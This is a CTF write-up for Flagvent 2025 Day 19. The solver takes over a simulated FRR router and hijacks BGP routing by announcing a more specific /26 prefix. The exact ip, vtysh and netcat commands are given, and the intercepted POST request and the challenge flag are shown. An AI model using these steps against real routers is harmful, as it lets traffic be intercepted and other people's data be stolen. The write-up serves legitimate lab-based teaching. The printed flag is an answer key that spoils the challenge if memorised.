Flagvent 2025: Day 19
FV25.19 - Oh Cisco tree
Difficulty
leet
Categories
misc linux networking brainrot
Description
Good evening, Agent Spioniro Golubiro Our analysts have detected a disturbing surge in so-called "brainrot CTF challenges". Through careful intelligence work, we have identified a criminal centralized brainrot distribution network:
https://brainrotdb.oct.flagvent.org
(only reachable if you are connected to an instance)
This site is actively accepting and distributing new brainrots and making the problem worse with every day that passes by. We were also able to identify one of the site's most active users, he goes by the codename name "hackerino shrimpini" and he usually posts from the IP 175.45.176.142
Your objective:
Compromise the system, seize full control of the platform and steal all the brainrots (We are especially interested in the secret ones hackerino shrimpini is submitting). No method is off the table, collateral damage to the internet itself is… acceptable.
Author's notes:
The simulated challenge IP's and subnets are in the 175.45.176.0/22 range, everything else should be concidered out of scope and tempering with it might break your instance
This challenge is quite heavy to host, so we ask you to be nice to our infra and all other players that also have an instance running.
Author
sebi364, xtea418Solution
Investigation
After starting the challenge instance, we can connect via SSH to the box. Thankfully, whoami shows we are the root user.
Checking the .ash_history file, we can see the user previously ran the vtysh command. vtysh is a shell for FRR daemons. FRRouting (FRR) is a free and open-source Internet routing protocol suite. From the challenge description, we can infer this box is acting as a router running FRR. It is responsible for routing ingress traffic and handling some traffic that we should be serving.
Our goal is to find a message sent by hackerino shrimpini from the IP address 175.45.176.142.
First, we run vtysh, then run show running-config:
!
frr version 10.0
frr defaults traditional
hostname entrypoint
log syslog
no ipv6 forwarding
service integrated-vtysh-config
!
router bgp 65000
bgp router-id 175.45.178.1
no bgp ebgp-requires-policy
neighbor 175.45.179.227 remote-as 65001
neighbor 175.45.179.229 remote-as 65004
neighbor 175.45.179.231 remote-as 65002
!
address-family ipv4 unicast
network 175.45.176.0/25
network 175.45.179.226/31
network 175.45.179.228/31
network 175.45.179.230/31
exit-address-family
exit
!
endThis tells us that 65000 is our Autonomous System Number (ASN). Real internet providers have ASNs like AS15169 (Google) or AS701 (Verizon). ASNs in the range 64512–65534 are reserved for private use, which is likely why the CTF author chose these values to simulate a private network.
We also notice links to three neighbours:
175.45.179.226/31175.45.179.228/31175.45.179.230/31
These /31 networks are point-to-point transit links between our router (AS65000) and each neighbouring router.
Next, we run show ip bgp summary, which outputs:
IPv4 Unicast Summary:
BGP router identifier 175.45.178.1, local AS number 65000 VRF default vrf-id 0
BGP table version 7
RIB entries 15, using 1440 bytes of memory
Peers 3, using 39 KiB of memory
Neighbor V AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down State/PfxRcd PfxSnt Desc
175.45.179.227 4 65001 22 22 7 0 0 00:14:41 1 7 N/A
175.45.179.229 4 65004 0 0 0 0 0 never Active 0 N/A
175.45.179.231 4 65002 22 22 7 0 0 00:14:40 3 7 N/A
Total number of neighbors 3
1 prefix received from 175.45.179.227
3 prefix received from 175.45.179.231This gives us a quick health check of our BGP sessions and the routes we’re exchanging.
We can see we have three peers:
- Neighbour
175.45.179.227(AS65001):PfxRcdof1, meaning we’ve received one prefix from this neighbour. - Neighbour
175.45.179.229(AS65004): state isActive, meaning we’re attempting to connect but can’t, so the neighbour is down. - Neighbour
175.45.179.231(AS65002):PfxRcdof3, meaning we’ve received three prefixes from this neighbour.
Now, we run show ip bgp:
BGP table version is 7, local router ID is 175.45.178.1, vrf id 0
Default local pref 100, local AS 65000
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
i internal, r RIB-failure, S Stale, R Removed
Nexthop codes: @NNN nexthop's vrf id, < announce-nh-self
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found
Network Next Hop Metric LocPrf Weight Path
*> 175.45.176.0/25 0.0.0.0 0 32768 i
*> 175.45.176.128/25
175.45.179.231 0 65002 65005 i
*> 175.45.177.0/25 175.45.179.231 0 65002 65003 i
*> 175.45.178.0/25 175.45.179.231 0 0 65002 i
*> 175.45.178.128/25
175.45.179.227 0 0 65001 i
*> 175.45.179.226/31
0.0.0.0 0 32768 i
175.45.179.228/31
0.0.0.0 0 32768 i
*> 175.45.179.230/31
0.0.0.0 0 32768 i
Displayed 8 routes and 8 total pathsWe can now clearly see which IP address ranges are routed via which ASNs.
BGP hijack
The http://brainrotdb.oct.flagvent.org webserver receives brainrots via its API at /api/v1/classified. This is where hackerino shrimpini would be sending brainrots from 175.45.176.142. If we can convince the network to send that traffic to us instead, we can intercept the request.
At this stage, we run ping -c 1 brainrotdb.oct.flagvent.org and find the server is at 175.45.177.55.
The IP address 175.45.177.55 falls within 175.45.177.0 - 175.45.177.127, which corresponds to the 175.45.177.0/25 prefix. That traffic is currently routed via neighbour 175.45.179.231 (AS65002).
Our objective is to advertise ourselves as the preferred destination for that traffic so the packets come to us instead of the legitimate neighbour. This is a BGP hijack. Because AS65002 is already advertising the /25, we can’t simply announce the same prefix and expect to win. Instead, we exploit longest-prefix match. By advertising the more specific prefix 175.45.177.0/26 (covering 175.45.177.0 - 175.45.177.63), routers will prefer our route. Since the target server 175.45.177.55 is within that narrower range, its traffic will be redirected to us.
To make this work, we first add 175.45.177.0/26 to the local routing table so FRR will allow the prefix to be advertised (it requires a matching local route). We then assign 175.45.177.55/32 to our interface so the kernel accepts packets destined for that IP locally. Because /32 is more specific than /26, the kernel uses longest-prefix match to deliver the traffic to the local stack instead of sending it back out or dropping it.
ip route add 175.45.177.0/26 dev lo
ip addr add 175.45.177.55/32 dev eth0Then, in vtysh, we inject the route into the BGP table:
conf t
router bgp 65000
address-family ipv4 unicast
network 175.45.177.0/26
endNow we need to check which routes our neighbour 175.45.179.231 (AS65002) is advertising.
To do this, we run show ip bgp neighbors 175.45.179.231 advertised-routes:
BGP table version is 10, local router ID is 175.45.178.1, vrf id 0
Default local pref 100, local AS 65000
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
i internal, r RIB-failure, S Stale, R Removed
Nexthop codes: @NNN nexthop's vrf id, < announce-nh-self
Origin codes: i - IGP, e - EGP, ? - incomplete
RPKI validation codes: V valid, I invalid, N Not found
Network Next Hop Metric LocPrf Weight Path
*> 175.45.176.0/25 0.0.0.0 0 32768 i
*> 175.45.176.128/25
0.0.0.0 0 65002 65005 i
*> 175.45.177.0/25 0.0.0.0 0 65002 65003 i
*> 175.45.177.0/26 0.0.0.0 0 32768 i
*> 175.45.178.0/25 0.0.0.0 0 65002 i
*> 175.45.178.128/25
0.0.0.0 0 65001 i
*> 175.45.179.226/31
0.0.0.0 0 32768 i
*> 175.45.179.230/31
0.0.0.0 0 32768 i
Total number of prefixes 8Amazingly, we can see that 175.45.177.0/26 is now routed to us, indicated by the next hop being 0.0.0.0.
This means we should now be receiving the traffic destined for the brainrotdb API.
We run nc -lvnp 80 to monitor inbound traffic on port 80, and we see an interesting request come in from hackerino shrimpini at 175.45.176.142 containing the daily flag:
Listening on 0.0.0.0 80
Connection received on 175.45.176.142 34234
POST /api/v1/classified HTTP/1.1
Host: brainrotdb.oct.flagvent.org
User-Agent: curl/8.14.1
accept: application/json
Content-Type: application/json
Content-Length: 35
{"content":"FV25{1t'5_41w4y5_Dn5}"}Flag:
FV25{1t'5_41w4y5_Dn5}